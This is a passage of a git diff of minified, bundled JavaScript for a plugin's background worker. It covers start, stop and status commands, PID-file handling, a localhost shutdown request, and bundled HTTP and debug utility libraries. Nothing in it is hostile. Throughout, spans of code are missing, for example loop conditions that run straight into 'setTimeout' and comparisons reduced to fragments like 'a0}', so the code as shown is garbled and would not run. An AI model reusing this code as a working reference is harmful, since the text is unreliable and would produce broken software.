e=this.getPidInfo();if(process.platform==="win32"){let r=e?.port??this.getPortFromSettings();if(await this.tryHttpShutdown(r))return this.removePidFile(),!0;if(!e)return!0;let{execSync:s}=await import("child_process");try{s(`taskkill /PID ${e.pid} /T /F`,{timeout:1e4,stdio:"ignore"})}catch{}try{await this.waitForExit(e.pid,t)}catch{}return this.isProcessAlive(e.pid)||this.removePidFile(),!0}else{if(!e)return!0;try{process.kill(e.pid,"SIGTERM"),await this.waitForExit(e.pid,t)}catch{try{process.kill(e.pid,"SIGKILL")}catch{}}return this.removePidFile(),!0}}static async restart(t){return await this.stop(),this.start(t)}static async status(){let t=this.getPidInfo();if(!t)return{running:!1};let e=this.isProcessAlive(t.pid);return{running:e,pid:e?t.pid:void 0,port:e?t.port:void 0,uptime:e?this.formatUptime(t.startedAt):void 0}}static async isRunning(){let t=this.getPidInfo();if(!t)return!1;let e=this.isProcessAlive(t.pid);return e||this.removePidFile(),e}static getPortFromSettings(){try{let t=S(u,"settings.json"),e=l.loadFromFile(t);return parseInt(e.CLAUDE_MEM_WORKER_PORT,10)}catch{return parseInt(l.get("CLAUDE_MEM_WORKER_PORT"),10)}}static async tryHttpShutdown(t){try{return(await fetch(`http://127.0.0.1:${t}/api/admin/shutdown`,{method:"POST",signal:AbortSignal.timeout(2e3)})).ok?await this.waitForWorkerDown(t,5e3):!1}catch{return!1}}static async waitForWorkerDown(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}catch{return!0}return!1}static getPidInfo(){try{if(!C(_))return null;let t=tt(_,"utf-8"),e=JSON.parse(t);return typeof e.pid!="number"||typeof e.port!="number"?(logger.warn("PROCESS","Malformed PID file: missing or invalid pid/port fields",{},{parsed:e}),null):e}catch(t){return logger.warn("PROCESS","Failed to read PID file",{},{error:t instanceof Error?t.message:String(t),path:_}),null}}static writePidFile(t){$(u,{recursive:!0}),et(_,JSON.stringify(t,null,2))}static removePidFile(){try{C(_)&&rt(_)}catch{}}static isProcessAlive(t){try{return process.kill(t,0),!0}catch{return!1}}static async waitForHealth(t,e,r=1e4){let n=Date.now(),s=process.platform==="win32",o=s?r*2:r;for(;Date.now()-nsetTimeout(n,100))}throw new Error("Process did not exit within timeout")}static getLogFilePath(){let t=new Date().toISOString().slice(0,10);return _(U,`worker-${t}.log`)}static formatUptime(t){let e=new Date(t).getTime(),n=Date.now()-e,s=Math.floor(n/1e3),o=Math.floor(s/60),a=Math.floor(o/60),c=Math.floor(a/24);return c>0?`${c}d ${a%24}h`:a>0?`${a}h ${o%60}m`:o>0?`${o}m ${s%60}s`:`${s}s`}};import N from"path";import{homedir as ut}from"os";var L={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function x(i){return process.platform==="win32"?Math.round(i*L.WINDOWS_MULTIPLIER):i}var ge=N.join(ut(),".claude","plugins","marketplaces","thedotmack"),fe=x(L.HEALTH_CHECK),O=null;function W(){if(O!==null)return O;let i=N.join(u.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),t=u.loadFromFile(i);return O=parseInt(t.CLAUDE_MEM_WORKER_PORT,10),O}var lt=process.argv[2],F=W();async function pt(){switch(lt){case"start":{let i=await f.start(F);if(i.success){console.log(`Worker started (PID: ${i.pid})`);let t=new Date().toISOString().slice(0,10);console.log(`Logs: ~/.claude-mem/logs/worker-${t}.log`),process.exit(0)}else console.error(`Failed to start: ${i.error}`),process.exit(1);break}case"stop":await f.stop(),console.log("Worker stopped"),process.exit(0);case"restart":{let i=await f.restart(F);i.success?(console.log(`Worker restarted (PID: ${i.pid})`),process.exit(0)):(console.error(`Failed to restart: ${i.error}`),process.exit(1));break}case"status":{let i=await f.status();i.running?(console.log("Worker is running"),console.log(` PID: ${i.pid}`),console.log(` Port: ${i.port}`),console.log(` Uptime: ${i.uptime}`)):console.log("Worker is not running"),process.exit(0)}default:console.log("Usage: worker-cli.js "),process.exit(1)}}pt().catch(i=>{console.error(i),process.exit(1)}); +5. Docs: https://docs.claude-mem.ai/troubleshooting/windows-issues`:`Readiness check timed out after ${o}ms`}}static async waitForExit(t,e){let r=Date.now();for(;Date.now()-rsetTimeout(n,100))}throw new Error("Process did not exit within timeout")}static getLogFilePath(){let t=new Date().toISOString().slice(0,10);return S(U,`worker-${t}.log`)}static formatUptime(t){let e=new Date(t).getTime(),n=Date.now()-e,s=Math.floor(n/1e3),o=Math.floor(s/60),a=Math.floor(o/60),c=Math.floor(a/24);return c>0?`${c}d ${a%24}h`:a>0?`${a}h ${o%60}m`:o>0?`${o}m ${s%60}s`:`${s}s`}};import N from"path";import{homedir as at}from"os";var P={DEFAULT:5e3,HEALTH_CHECK:1e3,WORKER_STARTUP_WAIT:1e3,WORKER_STARTUP_RETRIES:15,PRE_RESTART_SETTLE_DELAY:2e3,WINDOWS_MULTIPLIER:1.5};function x(i){return process.platform==="win32"?Math.round(i*P.WINDOWS_MULTIPLIER):i}var pe=N.join(at(),".claude","plugins","marketplaces","thedotmack"),ge=x(P.HEALTH_CHECK),D=null;function W(){if(D!==null)return D;let i=N.join(l.get("CLAUDE_MEM_DATA_DIR"),"settings.json"),t=l.loadFromFile(i);return D=parseInt(t.CLAUDE_MEM_WORKER_PORT,10),D}var ct=process.argv[2],F=W();async function ut(){switch(ct){case"start":{let i=await f.start(F);if(i.success){console.log(`Worker started (PID: ${i.pid})`);let t=new Date().toISOString().slice(0,10);console.log(`Logs: ~/.claude-mem/logs/worker-${t}.log`),process.exit(0)}else console.error(`Failed to start: ${i.error}`),process.exit(1);break}case"stop":await f.stop(),console.log("Worker stopped"),process.exit(0);case"restart":{let i=await f.restart(F);i.success?(console.log(`Worker restarted (PID: ${i.pid})`),process.exit(0)):(console.error(`Failed to restart: ${i.error}`),process.exit(1));break}case"status":{let i=await f.status();i.running?(console.log("Worker is running"),console.log(` PID: ${i.pid}`),console.log(` Port: ${i.port}`),console.log(` Uptime: ${i.uptime}`)):console.log("Worker is not running"),process.exit(0)}default:console.log("Usage: worker-cli.js "),process.exit(1)}}ut().catch(i=>{console.error(i),process.exit(1)}); diff --git a/plugin/scripts/worker-service.cjs b/plugin/scripts/worker-service.cjs index 986dccec..1d2b75f3 100755 --- a/plugin/scripts/worker-service.cjs +++ b/plugin/scripts/worker-service.cjs @@ -1,24 +1,24 @@ #!/usr/bin/env bun -"use strict";var SR=Object.create;var Fo=Object.defineProperty;var ER=Object.getOwnPropertyDescriptor;var TR=Object.getOwnPropertyNames;var kR=Object.getPrototypeOf,RR=Object.prototype.hasOwnProperty;var ba=(t,e)=>()=>(t&&(e=t(t=0)),e);var V=(t,e)=>()=>(e||t((e={exports:{}}).exports,e),e.exports),Vl=(t,e)=>{for(var r in e)Fo(t,r,{get:e[r],enumerable:!0})},uh=(t,e,r,n)=>{if(e&&typeof e=="object"||typeof e=="function")for(let a of TR(e))!RR.call(t,a)&&a!==r&&Fo(t,a,{get:()=>e[a],enumerable:!(n=ER(e,a))||n.enumerable});return t};var $t=(t,e,r)=>(r=t!=null?SR(kR(t)):{},uh(e||!t||!t.__esModule?Fo(r,"default",{value:t,enumerable:!0}):r,t)),$R=t=>uh(Fo({},"__esModule",{value:!0}),t);var zr=V((R7,fh)=>{var PR=require("path").relative;fh.exports=NR;var OR=process.cwd();function dh(t,e){for(var r=t.split(/[ ,]+/),n=String(e).toLowerCase(),a=0;a0}function MR(t){if(process.noDeprecation)return!0;var e=process.env.NO_DEPRECATION||"";return dh(e,t)}function DR(t){if(process.traceDeprecation)return!0;var e=process.env.TRACE_DEPRECATION||"";return dh(e,t)}function zo(t,e){var r=jR(process,"deprecation");if(!(!r&&this._ignored)){var n,a,s,i,o=0,c=!1,u=Uo(),l=this._file;for(e?(i=e,s=Zn(u[1]),s.name=i.name,l=s[0]):(o=2,i=Zn(u[o]),s=i);o",r=t.getLineNumber(),n=t.getColumnNumber();t.isEval()&&(e=t.getEvalOrigin()+", "+e);var a=[e,r,n];return a.callSite=t,a.name=t.getFunctionName(),a}function lh(t){var e=t.callSite,r=t.name;r||(r="");var n=e.getThis(),a=n&&e.getTypeName();return a==="Object"&&(a=void 0),a==="Function"&&(a=n.name||a),a&&e.getMethodName()?a+"."+r:r}function qR(t,e,r){var n=new Date().toUTCString(),a=n+" "+this._namespace+" deprecated "+t;if(this._traced){for(var s=0;s()=>(t&&(e=t(t=0)),e);var V=(t,e)=>()=>(e||t((e={exports:{}}).exports,e),e.exports),Jn=(t,e)=>{for(var r in e)Ho(t,r,{get:e[r],enumerable:!0})},lh=(t,e,r,n)=>{if(e&&typeof e=="object"||typeof e=="function")for(let a of M$(e))!q$.call(t,a)&&a!==r&&Ho(t,a,{get:()=>e[a],enumerable:!(n=j$(e,a))||n.enumerable});return t};var kt=(t,e,r)=>(r=t!=null?N$(D$(t)):{},lh(e||!t||!t.__esModule?Ho(r,"default",{value:t,enumerable:!0}):r,t)),L$=t=>lh(Ho({},"__esModule",{value:!0}),t);var Vr=V((K7,mh)=>{var F$=require("path").relative;mh.exports=V$;var z$=process.cwd();function ph(t,e){for(var r=t.split(/[ ,]+/),n=String(e).toLowerCase(),a=0;a0}function G$(t){if(process.noDeprecation)return!0;var e=process.env.NO_DEPRECATION||"";return ph(e,t)}function W$(t){if(process.traceDeprecation)return!0;var e=process.env.TRACE_DEPRECATION||"";return ph(e,t)}function Bo(t,e){var r=Z$(process,"deprecation");if(!(!r&&this._ignored)){var n,a,s,i,o=0,c=!1,u=Vo(),l=this._file;for(e?(i=e,s=Yn(u[1]),s.name=i.name,l=s[0]):(o=2,i=Yn(u[o]),s=i);o",r=t.getLineNumber(),n=t.getColumnNumber();t.isEval()&&(e=t.getEvalOrigin()+", "+e);var a=[e,r,n];return a.callSite=t,a.name=t.getFunctionName(),a}function dh(t){var e=t.callSite,r=t.name;r||(r="");var n=e.getThis(),a=n&&e.getTypeName();return a==="Object"&&(a=void 0),a==="Function"&&(a=n.name||a),a&&e.getMethodName()?a+"."+r:r}function K$(t,e,r){var n=new Date().toUTCString(),a=n+" "+this._namespace+" deprecated "+t;if(this._traced){for(var s=0;s{"use strict";Ho.exports=WR;Ho.exports.format=mh;Ho.exports.parse=hh;var HR=/\B(?=(\d{3})+(?!\d))/g,BR=/(?:\.0*|(\.[^0]+)0+)$/,xa={b:1,kb:1024,mb:1<<20,gb:1<<30,tb:Math.pow(1024,4),pb:Math.pow(1024,5)},VR=/^((-|\+)?(\d+(?:\.\d+)?)) *(kb|mb|gb|tb|pb)$/i;function WR(t,e){return typeof t=="string"?hh(t):typeof t=="number"?mh(t,e):null}function mh(t,e){if(!Number.isFinite(t))return null;var r=Math.abs(t),n=e&&e.thousandsSeparator||"",a=e&&e.unitSeparator||"",s=e&&e.decimalPlaces!==void 0?e.decimalPlaces:2,i=!!(e&&e.fixedDecimals),o=e&&e.unit||"";(!o||!xa[o.toLowerCase()])&&(r>=xa.pb?o="PB":r>=xa.tb?o="TB":r>=xa.gb?o="GB":r>=xa.mb?o="MB":r>=xa.kb?o="KB":o="B");var c=t/xa[o.toLowerCase()],u=c.toFixed(s);return i||(u=u.replace(BR,"$1")),n&&(u=u.split(".").map(function(l,d){return d===0?l.replace(HR,n):l}).join(".")),u+a+o}function hh(t){if(typeof t=="number"&&!isNaN(t))return t;if(typeof t!="string")return null;var e=VR.exec(t),r,n="b";return e?(r=parseFloat(e[1]),n=e[4].toLowerCase()):(r=parseInt(t,10),n="b"),isNaN(r)?null:Math.floor(xa[n]*r)}});var gi=V(Zl=>{"use strict";var vh=/; *([!#$%&'*+.^_`|~0-9A-Za-z-]+) *= *("(?:[\u000b\u0020\u0021\u0023-\u005b\u005d-\u007e\u0080-\u00ff]|\\[\u000b\u0020-\u00ff])*"|[!#$%&'*+.^_`|~0-9A-Za-z-]+) */g,ZR=/^[\u000b\u0020-\u007e\u0080-\u00ff]+$/,gh=/^[!#$%&'*+.^_`|~0-9A-Za-z-]+$/,GR=/\\([\u000b\u0020-\u00ff])/g,KR=/([\\"])/g,yh=/^[!#$%&'*+.^_`|~0-9A-Za-z-]+\/[!#$%&'*+.^_`|~0-9A-Za-z-]+$/;Zl.format=XR;Zl.parse=JR;function XR(t){if(!t||typeof t!="object")throw new TypeError("argument obj is required");var e=t.parameters,r=t.type;if(!r||!yh.test(r))throw new TypeError("invalid type");var n=r;if(e&&typeof e=="object")for(var a,s=Object.keys(e).sort(),i=0;i0&&!ZR.test(e))throw new TypeError("invalid parameter value");return'"'+e.replace(KR,"\\$1")+'"'}function e$(t){this.parameters=Object.create(null),this.type=t}});var yi=V((O7,_h)=>{"use strict";_h.exports=Object.setPrototypeOf||({__proto__:[]}instanceof Array?t$:r$);function t$(t,e){return t.__proto__=e,t}function r$(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(t,r)||(t[r]=e[r]);return t}});var bh=V((C7,a$)=>{a$.exports={"100":"Continue","101":"Switching Protocols","102":"Processing","103":"Early Hints","200":"OK","201":"Created","202":"Accepted","203":"Non-Authoritative Information","204":"No Content","205":"Reset Content","206":"Partial Content","207":"Multi-Status","208":"Already Reported","226":"IM Used","300":"Multiple Choices","301":"Moved Permanently","302":"Found","303":"See Other","304":"Not Modified","305":"Use Proxy","307":"Temporary Redirect","308":"Permanent Redirect","400":"Bad Request","401":"Unauthorized","402":"Payment Required","403":"Forbidden","404":"Not Found","405":"Method Not Allowed","406":"Not Acceptable","407":"Proxy Authentication Required","408":"Request Timeout","409":"Conflict","410":"Gone","411":"Length Required","412":"Precondition Failed","413":"Payload Too Large","414":"URI Too Long","415":"Unsupported Media Type","416":"Range Not Satisfiable","417":"Expectation Failed","418":"I'm a Teapot","421":"Misdirected Request","422":"Unprocessable Entity","423":"Locked","424":"Failed Dependency","425":"Too Early","426":"Upgrade Required","428":"Precondition Required","429":"Too Many Requests","431":"Request Header Fields Too Large","451":"Unavailable For Legal Reasons","500":"Internal Server Error","501":"Not Implemented","502":"Bad Gateway","503":"Service Unavailable","504":"Gateway Timeout","505":"HTTP Version Not Supported","506":"Variant Also Negotiates","507":"Insufficient Storage","508":"Loop Detected","509":"Bandwidth Limit Exceeded","510":"Not Extended","511":"Network Authentication Required"}});var _i=V((I7,wh)=>{"use strict";var Gl=bh();wh.exports=Pr;Pr.message=Gl;Pr.code=n$(Gl);Pr.codes=s$(Gl);Pr.redirect={300:!0,301:!0,302:!0,303:!0,305:!0,307:!0,308:!0};Pr.empty={204:!0,205:!0,304:!0};Pr.retry={502:!0,503:!0,504:!0};function n$(t){var e={};return Object.keys(t).forEach(function(n){var a=t[n],s=Number(n);e[a.toLowerCase()]=s}),e}function s$(t){return Object.keys(t).map(function(r){return Number(r)})}function i$(t){var e=t.toLowerCase();if(!Object.prototype.hasOwnProperty.call(Pr.code,e))throw new Error('invalid status message: "'+t+'"');return Pr.code[e]}function xh(t){if(!Object.prototype.hasOwnProperty.call(Pr.message,t))throw new Error("invalid status code: "+t);return Pr.message[t]}function Pr(t){if(typeof t=="number")return xh(t);if(typeof t!="string")throw new TypeError("code must be a number or string");var e=parseInt(t,10);return isNaN(e)?i$(t):xh(e)}});var Sh=V((A7,Kl)=>{typeof Object.create=="function"?Kl.exports=function(e,r){r&&(e.super_=r,e.prototype=Object.create(r.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}))}:Kl.exports=function(e,r){if(r){e.super_=r;var n=function(){};n.prototype=r.prototype,e.prototype=new n,e.prototype.constructor=e}}});var Eh=V((N7,Jl)=>{try{if(Xl=require("util"),typeof Xl.inherits!="function")throw"";Jl.exports=Xl.inherits}catch{Jl.exports=Sh()}var Xl});var kh=V((j7,Th)=>{"use strict";Th.exports=o$;function o$(t){return t.split(" ").map(function(e){return e.slice(0,1).toUpperCase()+e.slice(1)}).join("").replace(/[^ _0-9a-z]/gi,"")}});var Ka=V((M7,Ga)=>{"use strict";var c$=zr()("http-errors"),Rh=yi(),Kn=_i(),Yl=Eh(),u$=kh();Ga.exports=Bo;Ga.exports.HttpError=l$();Ga.exports.isHttpError=p$(Ga.exports.HttpError);m$(Ga.exports,Kn.codes,Ga.exports.HttpError);function $h(t){return+(String(t).charAt(0)+"00")}function Bo(){for(var t,e,r=500,n={},a=0;a=600)&&c$("non-error status code; use only 4xx or 5xx status codes"),(typeof r!="number"||!Kn.message[r]&&(r<400||r>=600))&&(r=500);var o=Bo[r]||Bo[$h(r)];t||(t=o?new o(e):new Error(e||Kn.message[r]),Error.captureStackTrace(t,Bo)),(!o||!(t instanceof o)||t.status!==r)&&(t.expose=r<500,t.status=t.statusCode=r);for(var c in n)c!=="status"&&c!=="statusCode"&&(t[c]=n[c]);return t}function l$(){function t(){throw new TypeError("cannot construct abstract class")}return Yl(t,Error),t}function d$(t,e,r){var n=Oh(e);function a(s){var i=s??Kn.message[r],o=new Error(i);return Error.captureStackTrace(o,a),Rh(o,a.prototype),Object.defineProperty(o,"message",{enumerable:!0,configurable:!0,value:i,writable:!0}),Object.defineProperty(o,"name",{enumerable:!1,configurable:!0,value:n,writable:!0}),o}return Yl(a,t),Ph(a,n),a.prototype.status=r,a.prototype.statusCode=r,a.prototype.expose=!0,a}function p$(t){return function(r){return!r||typeof r!="object"?!1:r instanceof t?!0:r instanceof Error&&typeof r.expose=="boolean"&&typeof r.statusCode=="number"&&r.status===r.statusCode}}function f$(t,e,r){var n=Oh(e);function a(s){var i=s??Kn.message[r],o=new Error(i);return Error.captureStackTrace(o,a),Rh(o,a.prototype),Object.defineProperty(o,"message",{enumerable:!0,configurable:!0,value:i,writable:!0}),Object.defineProperty(o,"name",{enumerable:!1,configurable:!0,value:n,writable:!0}),o}return Yl(a,t),Ph(a,n),a.prototype.status=r,a.prototype.statusCode=r,a.prototype.expose=!1,a}function Ph(t,e){var r=Object.getOwnPropertyDescriptor(t,"name");r&&r.configurable&&(r.value=e,Object.defineProperty(t,"name",r))}function m$(t,e,r){e.forEach(function(a){var s,i=u$(Kn.message[a]);switch($h(a)){case 400:s=d$(r,i,a);break;case 500:s=f$(r,i,a);break}s&&(t[a]=s,t[i]=s)})}function Oh(t){return t.substr(-5)!=="Error"?t+"Error":t}});var Ih=V((D7,Ch)=>{var bi=1e3,xi=bi*60,wi=xi*60,Si=wi*24,h$=Si*365.25;Ch.exports=function(t,e){e=e||{};var r=typeof t;if(r==="string"&&t.length>0)return v$(t);if(r==="number"&&isNaN(t)===!1)return e.long?y$(t):g$(t);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(t))};function v$(t){if(t=String(t),!(t.length>100)){var e=/^((?:\d+)?\.?\d+) *(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|years?|yrs?|y)?$/i.exec(t);if(e){var r=parseFloat(e[1]),n=(e[2]||"ms").toLowerCase();switch(n){case"years":case"year":case"yrs":case"yr":case"y":return r*h$;case"days":case"day":case"d":return r*Si;case"hours":case"hour":case"hrs":case"hr":case"h":return r*wi;case"minutes":case"minute":case"mins":case"min":case"m":return r*xi;case"seconds":case"second":case"secs":case"sec":case"s":return r*bi;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return r;default:return}}}}function g$(t){return t>=Si?Math.round(t/Si)+"d":t>=wi?Math.round(t/wi)+"h":t>=xi?Math.round(t/xi)+"m":t>=bi?Math.round(t/bi)+"s":t+"ms"}function y$(t){return Vo(t,Si,"day")||Vo(t,wi,"hour")||Vo(t,xi,"minute")||Vo(t,bi,"second")||t+" ms"}function Vo(t,e,r){if(!(t{et=Ah.exports=ed.debug=ed.default=ed;et.coerce=S$;et.disable=x$;et.enable=b$;et.enabled=w$;et.humanize=Ih();et.names=[];et.skips=[];et.formatters={};var Ql;function _$(t){var e=0,r;for(r in t)e=(e<<5)-e+t.charCodeAt(r),e|=0;return et.colors[Math.abs(e)%et.colors.length]}function ed(t){function e(){if(e.enabled){var r=e,n=+new Date,a=n-(Ql||n);r.diff=a,r.prev=Ql,r.curr=n,Ql=n;for(var s=new Array(arguments.length),i=0;i{Vt=jh.exports=td();Vt.log=k$;Vt.formatArgs=T$;Vt.save=R$;Vt.load=Nh;Vt.useColors=E$;Vt.storage=typeof chrome<"u"&&typeof chrome.storage<"u"?chrome.storage.local:$$();Vt.colors=["lightseagreen","forestgreen","goldenrod","dodgerblue","darkorchid","crimson"];function E$(){return typeof window<"u"&&window.process&&window.process.type==="renderer"?!0:typeof document<"u"&&document.documentElement&&document.documentElement.style&&document.documentElement.style.WebkitAppearance||typeof window<"u"&&window.console&&(window.console.firebug||window.console.exception&&window.console.table)||typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/)&&parseInt(RegExp.$1,10)>=31||typeof navigator<"u"&&navigator.userAgent&&navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/)}Vt.formatters.j=function(t){try{return JSON.stringify(t)}catch(e){return"[UnexpectedJSONParseError]: "+e.message}};function T$(t){var e=this.useColors;if(t[0]=(e?"%c":"")+this.namespace+(e?" %c":" ")+t[0]+(e?"%c ":" ")+"+"+Vt.humanize(this.diff),!!e){var r="color: "+this.color;t.splice(1,0,r,"color: inherit");var n=0,a=0;t[0].replace(/%[a-zA-Z%]/g,function(s){s!=="%%"&&(n++,s==="%c"&&(a=n))}),t.splice(a,0,r)}}function k$(){return typeof console=="object"&&console.log&&Function.prototype.apply.call(console.log,console,arguments)}function R$(t){try{t==null?Vt.storage.removeItem("debug"):Vt.storage.debug=t}catch{}}function Nh(){var t;try{t=Vt.storage.debug}catch{}return!t&&typeof process<"u"&&"env"in process&&(t=process.env.DEBUG),t}Vt.enable(Nh());function $$(){try{return window.localStorage}catch{}}});var Fh=V((Nt,Lh)=>{var Dh=require("tty"),Ei=require("util");Nt=Lh.exports=td();Nt.init=j$;Nt.log=I$;Nt.formatArgs=C$;Nt.save=A$;Nt.load=qh;Nt.useColors=O$;Nt.colors=[6,2,3,4,5,1];Nt.inspectOpts=Object.keys(process.env).filter(function(t){return/^debug_/i.test(t)}).reduce(function(t,e){var r=e.substring(6).toLowerCase().replace(/_([a-z])/g,function(a,s){return s.toUpperCase()}),n=process.env[e];return/^(yes|on|true|enabled)$/i.test(n)?n=!0:/^(no|off|false|disabled)$/i.test(n)?n=!1:n==="null"?n=null:n=Number(n),t[r]=n,t},{});var Xn=parseInt(process.env.DEBUG_FD,10)||2;Xn!==1&&Xn!==2&&Ei.deprecate(function(){},"except for stderr(2) and stdout(1), any other usage of DEBUG_FD is deprecated. Override debug.log if you want to use a different log function (https://git.io/debug_fd)")();var P$=Xn===1?process.stdout:Xn===2?process.stderr:N$(Xn);function O$(){return"colors"in Nt.inspectOpts?!!Nt.inspectOpts.colors:Dh.isatty(Xn)}Nt.formatters.o=function(t){return this.inspectOpts.colors=this.useColors,Ei.inspect(t,this.inspectOpts).split(` -`).map(function(e){return e.trim()}).join(" ")};Nt.formatters.O=function(t){return this.inspectOpts.colors=this.useColors,Ei.inspect(t,this.inspectOpts)};function C$(t){var e=this.namespace,r=this.useColors;if(r){var n=this.color,a=" \x1B[3"+n+";1m"+e+" \x1B[0m";t[0]=a+t[0].split(` +}`)(t,Bo,this,e,a);return s}function Q$(t,e,r){if(!t||typeof t!="object"&&typeof t!="function")throw new TypeError("argument obj must be object");var n=Object.getOwnPropertyDescriptor(t,e);if(!n)throw new TypeError("must call property on owner object");if(!n.configurable)throw new TypeError("property must be configurable");var a=this,s=Vo(),i=Yn(s[1]);i.name=e,"value"in n&&(n=U$(t,e,r));var o=n.get,c=n.set;typeof o=="function"&&(n.get=function(){return Bo.call(a,r,i),o.apply(this,arguments)}),typeof c=="function"&&(n.set=function(){return Bo.call(a,r,i),c.apply(this,arguments)}),Object.defineProperty(t,e,n)}function fh(t,e,r){var n=new Error,a;return Object.defineProperty(n,"constructor",{value:fh}),Object.defineProperty(n,"message",{configurable:!0,enumerable:!1,value:e,writable:!0}),Object.defineProperty(n,"name",{enumerable:!1,configurable:!0,value:"DeprecationError",writable:!0}),Object.defineProperty(n,"namespace",{configurable:!0,enumerable:!1,value:t,writable:!0}),Object.defineProperty(n,"stack",{configurable:!0,enumerable:!1,get:function(){return a!==void 0?a:a=B$.call(this,r)},set:function(i){a=i}}),n}});var Qn=V((X7,Zo)=>{"use strict";Zo.exports=aR;Zo.exports.format=hh;Zo.exports.parse=vh;var eR=/\B(?=(\d{3})+(?!\d))/g,tR=/(?:\.0*|(\.[^0]+)0+)$/,Sa={b:1,kb:1024,mb:1<<20,gb:1<<30,tb:Math.pow(1024,4),pb:Math.pow(1024,5)},rR=/^((-|\+)?(\d+(?:\.\d+)?)) *(kb|mb|gb|tb|pb)$/i;function aR(t,e){return typeof t=="string"?vh(t):typeof t=="number"?hh(t,e):null}function hh(t,e){if(!Number.isFinite(t))return null;var r=Math.abs(t),n=e&&e.thousandsSeparator||"",a=e&&e.unitSeparator||"",s=e&&e.decimalPlaces!==void 0?e.decimalPlaces:2,i=!!(e&&e.fixedDecimals),o=e&&e.unit||"";(!o||!Sa[o.toLowerCase()])&&(r>=Sa.pb?o="PB":r>=Sa.tb?o="TB":r>=Sa.gb?o="GB":r>=Sa.mb?o="MB":r>=Sa.kb?o="KB":o="B");var c=t/Sa[o.toLowerCase()],u=c.toFixed(s);return i||(u=u.replace(tR,"$1")),n&&(u=u.split(".").map(function(l,d){return d===0?l.replace(eR,n):l}).join(".")),u+a+o}function vh(t){if(typeof t=="number"&&!isNaN(t))return t;if(typeof t!="string")return null;var e=rR.exec(t),r,n="b";return e?(r=parseFloat(e[1]),n=e[4].toLowerCase()):(r=parseInt(t,10),n="b"),isNaN(r)?null:Math.floor(Sa[n]*r)}});var _i=V(Kl=>{"use strict";var gh=/; *([!#$%&'*+.^_`|~0-9A-Za-z-]+) *= *("(?:[\u000b\u0020\u0021\u0023-\u005b\u005d-\u007e\u0080-\u00ff]|\\[\u000b\u0020-\u00ff])*"|[!#$%&'*+.^_`|~0-9A-Za-z-]+) */g,nR=/^[\u000b\u0020-\u007e\u0080-\u00ff]+$/,yh=/^[!#$%&'*+.^_`|~0-9A-Za-z-]+$/,sR=/\\([\u000b\u0020-\u00ff])/g,iR=/([\\"])/g,_h=/^[!#$%&'*+.^_`|~0-9A-Za-z-]+\/[!#$%&'*+.^_`|~0-9A-Za-z-]+$/;Kl.format=oR;Kl.parse=cR;function oR(t){if(!t||typeof t!="object")throw new TypeError("argument obj is required");var e=t.parameters,r=t.type;if(!r||!_h.test(r))throw new TypeError("invalid type");var n=r;if(e&&typeof e=="object")for(var a,s=Object.keys(e).sort(),i=0;i0&&!nR.test(e))throw new TypeError("invalid parameter value");return'"'+e.replace(iR,"\\$1")+'"'}function dR(t){this.parameters=Object.create(null),this.type=t}});var bi=V((Y7,bh)=>{"use strict";bh.exports=Object.setPrototypeOf||({__proto__:[]}instanceof Array?pR:fR);function pR(t,e){return t.__proto__=e,t}function fR(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(t,r)||(t[r]=e[r]);return t}});var xh=V((Q7,mR)=>{mR.exports={"100":"Continue","101":"Switching Protocols","102":"Processing","103":"Early Hints","200":"OK","201":"Created","202":"Accepted","203":"Non-Authoritative Information","204":"No Content","205":"Reset Content","206":"Partial Content","207":"Multi-Status","208":"Already Reported","226":"IM Used","300":"Multiple Choices","301":"Moved Permanently","302":"Found","303":"See Other","304":"Not Modified","305":"Use Proxy","307":"Temporary Redirect","308":"Permanent Redirect","400":"Bad Request","401":"Unauthorized","402":"Payment Required","403":"Forbidden","404":"Not Found","405":"Method Not Allowed","406":"Not Acceptable","407":"Proxy Authentication Required","408":"Request Timeout","409":"Conflict","410":"Gone","411":"Length Required","412":"Precondition Failed","413":"Payload Too Large","414":"URI Too Long","415":"Unsupported Media Type","416":"Range Not Satisfiable","417":"Expectation Failed","418":"I'm a Teapot","421":"Misdirected Request","422":"Unprocessable Entity","423":"Locked","424":"Failed Dependency","425":"Too Early","426":"Upgrade Required","428":"Precondition Required","429":"Too Many Requests","431":"Request Header Fields Too Large","451":"Unavailable For Legal Reasons","500":"Internal Server Error","501":"Not Implemented","502":"Bad Gateway","503":"Service Unavailable","504":"Gateway Timeout","505":"HTTP Version Not Supported","506":"Variant Also Negotiates","507":"Insufficient Storage","508":"Loop Detected","509":"Bandwidth Limit Exceeded","510":"Not Extended","511":"Network Authentication Required"}});var xi=V((eV,Sh)=>{"use strict";var Xl=xh();Sh.exports=Ar;Ar.message=Xl;Ar.code=hR(Xl);Ar.codes=vR(Xl);Ar.redirect={300:!0,301:!0,302:!0,303:!0,305:!0,307:!0,308:!0};Ar.empty={204:!0,205:!0,304:!0};Ar.retry={502:!0,503:!0,504:!0};function hR(t){var e={};return Object.keys(t).forEach(function(n){var a=t[n],s=Number(n);e[a.toLowerCase()]=s}),e}function vR(t){return Object.keys(t).map(function(r){return Number(r)})}function gR(t){var e=t.toLowerCase();if(!Object.prototype.hasOwnProperty.call(Ar.code,e))throw new Error('invalid status message: "'+t+'"');return Ar.code[e]}function wh(t){if(!Object.prototype.hasOwnProperty.call(Ar.message,t))throw new Error("invalid status code: "+t);return Ar.message[t]}function Ar(t){if(typeof t=="number")return wh(t);if(typeof t!="string")throw new TypeError("code must be a number or string");var e=parseInt(t,10);return isNaN(e)?gR(t):wh(e)}});var Eh=V((tV,Jl)=>{typeof Object.create=="function"?Jl.exports=function(e,r){r&&(e.super_=r,e.prototype=Object.create(r.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}))}:Jl.exports=function(e,r){if(r){e.super_=r;var n=function(){};n.prototype=r.prototype,e.prototype=new n,e.prototype.constructor=e}}});var 